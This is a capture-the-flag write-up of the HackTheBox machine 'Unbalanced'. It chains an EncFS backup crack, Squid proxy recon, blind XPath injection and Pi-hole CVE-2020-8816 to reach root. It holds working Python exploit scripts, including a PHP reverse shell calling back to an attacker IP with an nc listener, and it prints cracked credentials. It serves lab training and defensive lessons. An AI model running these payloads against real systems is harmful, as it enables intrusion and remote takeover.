HTB: Unbalanced Writeup
Unbalanced - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Unbalanced |
| OS | Linux |
| Difficulty | Hard |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.44.104 |
| Author | polarbearer & GibParadox |
Machine Rating
⭐⭐⭐⭐☆ (4/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐⭐☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Unbalanced is a hard-difficulty Linux machine that demonstrates a realistic attack path through layered infrastructure. The initial foothold requires extracting an encrypted EncFS backup from an unauthenticated rsync share, cracking its encryption password, and leveraging discovered Squid proxy credentials to access an internal web application. A blind XPath injection vulnerability on a maintenance host allows extraction of SSH credentials for user access. Privilege escalation exploits an authenticated remote code execution vulnerability in Pi-hole 4.3.2 (CVE-2020-8816) running in a Docker container, where configuration files leak the root password.
TL;DR: rsync EncFS backup → John/rockyou crack → Squid proxy access → blind XPath injection → SSH as bryan → Pi-hole 4.3.2 CVE-2020-8816 RCE → leaked root password → root shell
Reconnaissance
Port Scanning
# Full TCP port scannmap -sC -sV -T4 -p- 10.129.44.104Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2873/tcp open rsync (protocol version 31)3128/tcp open http-proxy Squid http proxy 4.6The machine exposes three services:
- SSH (22) - Standard remote access, likely requiring credentials
- rsync (873) - File synchronization service that may allow anonymous access
- Squid (3128) - HTTP proxy server that might provide access to internal networks
Service Enumeration
rsync Enumeration
# List available rsync modulesrsync rsync://10.129.44.104/Output:
conf_backups EncFS-encrypted configuration backupsThe conf_backups module description immediately indicates EncFS encryption. EncFS is a userspace encrypted filesystem that encrypts files individually rather than entire volumes.
# List contents of the conf_backups modulersync rsync://10.129.44.104/conf_backups/The directory listing revealed encrypted files along with the critical .encfs6.xml configuration file required for decryption.
# Download the entire EncFS backup to /dev/shm (jump-box /tmp was full)rsync -av rsync://10.129.44.104/conf_backups/ /dev/shm/conf_backups/The recursive download pulled all encrypted files and the EncFS metadata required for offline cracking attempts.
Vulnerability Assessment
At this stage, several potential attack vectors were identified:
- EncFS encrypted backup - If the encryption password is weak, contents may be recoverable
- Squid proxy - May provide access to internal network segments not directly reachable
- SSH service - Requires valid credentials, but may be targeted once credentials are obtained
Initial Foothold
EncFS Password Cracking
EncFS uses the .encfs6.xml configuration file to store encryption parameters. The encfs2john tool can extract a hash suitable for offline cracking.
# Convert EncFS configuration to John the Ripper formatencfs2john /dev/shm/conf_backups/ > encfs.hash
# Crack the hash using rockyou wordlistjohn --wordlist=/usr/share/wordlists/rockyou.txt encfs.hashResult: Password cracked as bubblegum
The successful crack confirms a weak password choice for what should be a secure backup. This is a common misconfiguration in real-world environments where convenience trumps security.
# Mount the encrypted filesystem to access plaintext filesmkdir /dev/shm/plain_backupsENCFS6_CONFIG=/dev/shm/conf_backups/.encfs6.xml encfs /dev/shm/conf_backups/ /dev/shm/plain_backups/# Enter password: bubblegumSquid Proxy Configuration Analysis
The decrypted backup contained several configuration files. The squid.conf file revealed critical information:
# Review Squid proxy configurationcat /dev/shm/plain_backups/squid.confKey findings:
- Cache manager password:
Thah$Sh1 - ACL rules for
intranet.unbalanced.htbdomain - cachemgr_passwd directive allowing specific management actions
The cache manager password grants access to Squid’s management interface at /squid-internal-mgr/, which can expose internal network topology.
Squid Cache Manager Reconnaissance
# Access cache manager's FQDN cache to discover internal hostscurl -x http://10.129.44.104:3128 \ http://10.129.44.104:3128/squid-internal-mgr/fqdncache \ -H "Authorization: Basic $(echo -n ':Thah$Sh1' | base64)"The FQDN cache revealed internal IP addresses and hostnames, including a load-balanced cluster and notably a host that had been removed from the pool:
- intranet-host2.unbalanced.htb - Active
- intranet-host3.unbalanced.htb - Active
- intranet-host1.unbalanced.htb - Mentioned as removed for “security maintenance”
The “security maintenance” note made intranet-host1 (<jump-host>/3 based on the FQDN cache output) a prime target for further enumeration.
Blind XPath Injection
Accessing the intranet.php page on intranet-host1 through the proxy revealed a login form.
# Test basic authentication payloads via Squid proxycurl -x http://10.129.44.104:3128 \ http://<jump-host>/3/intranet.php \ -d "Username=bryan&Password=test"Standard SQL injection payloads failed, but XPath injection syntax produced different responses:
# XPath injection - True conditioncurl -x http://10.129.44.104:3128 \ http://<jump-host>/3/intranet.php \ -d "Username=bryan' or 1=1 or 'a'='a&Password=a"This returned a list of employees, confirming XPath injection vulnerability. The application likely used an XPath query similar to:
//Employee[(UserName/text()='[INPUT]' And Password/text()='[INPUT]')]Automated Password Extraction
A Python script was developed to exploit the blind XPath injection by extracting Bryan’s password character-by-character using substring() function:
#!/usr/bin/env python3import requestsimport string
# Configurationurl = 'http://<jump-host>/3/intranet.php'proxy = {'http': 'http://10.129.44.104:3128'}target_user = 'bryan'known_length = 23 # Pre-determined via string-length() injection
password = ''
# Extract each character positionfor position in range(1, known_length + 1): for char in string.printable: # XPath substring() starts at position 1, not 0 payload = { 'Username': f"{target_user}' and substring(Password/text(),{position},1)='{char}' or 'a'='a", 'Password': 'a' }
r = requests.post(url, data=payload, proxies=proxy)
# Success indicator: bryan's email appears in response if 'bryan@unbalanced.htb' in r.text: password += char print(f"[+] Position {position}: {password}") break
print(f"\n[+] Full password: {password}")Result: ireallyl0vebubblegum!!!
The 23-character password combined the EncFS password (bubblegum) with enthusiasm markers, demonstrating password reuse patterns common in real environments.
SSH Access
# SSH as bryan with extracted credentialsssh bryan@10.129.44.104# Password: ireallyl0vebubblegum!!!
# Retrieve user flagcat ~/user.txtUser flag captured: <redacted>
Privilege Escalation
Internal Service Discovery
# Check bryan's home directory for hintscat ~/TODOThe TODO file referenced a Pi-hole Docker installation listening on 127.0.0.1:8080 with a “temporary” admin password - a strong indicator of credential reuse or weak password practices.
# Verify local servicesss -tlnp | grep 8080Confirmed Pi-hole web interface on localhost port 8080.
# Port forward Pi-hole interface for local accessssh -L 8080:127.0.0.1:8080 bryan@10.129.44.104 -NPi-hole Authentication
Accessing http://localhost:8080/admin/ revealed the Pi-hole admin panel. Testing weak passwords:
# Attempt login with common weak passwordUsername: adminPassword: adminSuccess - The “temporary” password was indeed admin, demonstrating poor security hygiene.
The footer revealed: Pi-hole Version 4.3.2
Pi-hole 4.3.2 Exploitation (CVE-2020-8816)
Pi-hole 4.3.2 contains an authenticated remote code execution vulnerability in the DHCP static lease functionality. The vulnerability exists in /admin/scripts/pi-hole/php/savesettings.php.
Vulnerability Analysis:
The application validates MAC addresses using preg_match('/([a-fA-F0-9]{2}[:]?){6}/', $mac_addr) which only checks if a valid MAC format exists anywhere in the input, not that the entire input is only a MAC address. This allows appending arbitrary commands after a valid MAC address.
Additionally, the input is passed through strtoupper() before execution, preventing direct use of lowercase commands like php -r. However, bash parameter expansion can be used to reconstruct lowercase letters from environment variables.
Exploitation Steps:
- Navigate to Settings → DHCP → Static DHCP leases
- The form at
settings.php?tab=piholedhcpposts to itself, not directly tosavesettings.php - Craft a payload that bypasses
preg_matchand reconstructs lowercase command characters
#!/usr/bin/env python3import requests
# Generate reverse shell payloadreverse_shell = '''php -r '$sock=fsockopen("10.10.14.2",4444);exec("/bin/sh -i <&3 >&3 2>&3");' '''
# Hex encode the payload to avoid character escaping issueshex_payload = reverse_shell.encode('utf-8').hex()
# Parameter expansion technique to bypass strtoupper()# Uses PATH environment variable to extract lowercase letterspayload = ( "aa:bb:cc:dd:ee:ff" # Valid MAC address to pass preg_match "&&W=${PATH#/???/}" # Strip first 5 chars from PATH → "pihole:/usr/..." "&&P=${W%%?????:*}" # Extract first char before 5 chars and colon → "p" "&&X=${PATH#/???/??}" # Different extraction for "h" "&&H=${X%%???:*}" # → "h" "&&Z=${PATH#*:/??}" # Extract for "r" "&&R=${Z%%/*}" # → "r" f"&&$P$H$P$IFS-$R$IFS'EXEC(HEX2BIN(\"{hex_payload}\"));'" "&&")
# Set up session and authenticatesession = requests.Session()session.proxies = {'http': 'http://127.0.0.1:8080'}
# Login to Pi-holelogin_data = {'pw': 'admin'}session.post('http://127.0.0.1:8080/admin/index.php?login', data=login_data)
# Submit malicious DHCP configuration# Note: The form posts to settings.php?tab=piholedhcp, NOT savesettings.php directlyexploit_data = { 'AddMAC': payload, 'AddIP': '192.168.1.100', 'AddHostname': 'pwned'}
session.post('http://127.0.0.1:8080/admin/settings.php?tab=piholedhcp', data=exploit_data)# Start listener on attack machinenc -lvnp 4444Result: Shell received as www-data inside the Pi-hole Docker container.
Container Escape via Password Reuse
# Inside the Pi-hole container, enumerate for sensitive filesls -la /root/Docker containers often have relaxed permissions on system directories. The /root/ directory was world-readable, containing:
cat /root/pihole_config.shThe configuration script contained the setup password: bUbBl3gUm$43v3Ry0n3!
This password follows the same naming pattern as previous credentials (bubblegum variants), suggesting reuse.
# Exit container shell and return to bryan's SSH session# Attempt privilege escalation via password reusesu root# Password: bUbBl3gUm$43v3Ry0n3!Success - Root access obtained via password reuse.
# Retrieve root flagcat /root/root.txtRoot flag captured: <redacted>
Attack Chain Summary
rsync enumeration (port 873) → EncFS backup extraction → encfs2john + John/rockyou → Password: bubblegum → Squid configuration disclosure (cachemgr_passwd: Thah$Sh1) → Squid cache manager reconnaissance (/squid-internal-mgr/fqdncache) → Internal host discovery (intranet-host1 on security maintenance) → Blind XPath injection on intranet.php → Password extraction: ireallyl0vebubblegum!!! → SSH access as bryan (user.txt) → Pi-hole 4.3.2 discovery on localhost:8080 → Weak admin password (admin) → CVE-2020-8816 exploitation (authenticated RCE via DHCP form) → Shell as www-data in Docker container → /root/pihole_config.sh disclosure → Password reuse: bUbBl3gUm$43v3Ry0n3! → su root (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
rsync | Extracting backup files from remote share |
encfs2john | Converting EncFS configuration to crackable hash |
john | Cracking EncFS encryption password |
encfs | Mounting decrypted EncFS filesystem |
curl | HTTP requests through Squid proxy |
Python3 | Scripting blind XPath injection exploitation |
ssh | Remote access and port forwarding |
| Burp Suite | HTTP request analysis (optional, not used in agent solve) |
nc | Reverse shell listener |
Key Learnings
Techniques Practiced
- rsync enumeration - Identifying and extracting unauthenticated shares
- EncFS cryptanalysis - Converting encrypted backups to crackable formats
- Squid proxy pivoting - Using HTTP proxies to access internal network segments
- Cache manager reconnaissance - Leveraging Squid’s management interface for network mapping
- Blind XPath injection - Boolean-based data extraction from XML databases
- CVE exploitation - Weaponizing known vulnerabilities with custom payloads
- Bash parameter expansion - Bypassing character filtering via environment variable manipulation
- Container enumeration - Identifying relaxed permissions in containerized environments
- Password pattern analysis - Recognizing and exploiting credential reuse patterns
Lessons Learned
-
Backup security is critical - Encrypted backups are only as secure as their password strength. The
bubblegumpassword was easily cracked with rockyou.txt, demonstrating that default wordlists remain effective against weak passwords even on encrypted data. -
Squid cache managers expose topology - The cache manager interface, when accessible, can reveal internal network structure, hostnames, and IP addresses that aren’t directly discoverable. Always check for management interfaces on proxy servers.
-
“Security maintenance” is a red flag - Hosts removed from production for security work often have misconfigurations or vulnerabilities that prompted their isolation, making them prime targets for exploitation.
-
Blind injection requires patience - XPath injection without direct output required character-by-character extraction. Automating this process with Python significantly improved efficiency over manual testing.
-
Input validation should validate entire input - The Pi-hole vulnerability (CVE-2020-8816) demonstrates the danger of partial validation.
preg_match()confirmed a MAC address existed in the input but didn’t ensure the input contained only a MAC address. -
Case transformation is not security - Converting input to uppercase with
strtoupper()provides no real protection when attackers can use parameter expansion or other encoding techniques to reconstruct required characters. -
Docker doesn’t mean isolation - The world-readable
/root/directory in the Pi-hole container violated least-privilege principles. Containers should maintain strict permission boundaries even if they’re considered “isolated.” -
Password reuse kills defense in depth - Despite successfully pivoting through multiple security layers (EncFS, Squid, XPath injection, Pi-hole), password reuse (
bubblegumvariants) allowed bypassing proper privilege separation at the final step. -
Form action matters - The Pi-hole exploit required posting to
settings.php?tab=piholedhcp(which processes and forwards tosavesettings.php) rather than directly to the processing script. Understanding complete request workflows prevents exploitation failures. -
Temporary passwords are permanent risks - The TODO note about a “temporary” admin password on Pi-hole demonstrates how temporary security decisions often become permanent vulnerabilities when not properly rotated.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
- HackTheBox Official Writeup - Unbalanced (d3vn0mi, Document No D20.100.99)
- CVE-2020-8816: Pi-hole 4.3.2 Authenticated Remote Code Execution
- EncFS Documentation: https://github.com/vgough/encfs
- Squid Cache Manager Documentation: http://www.squid-cache.org/Doc/config/cachemgr_passwd/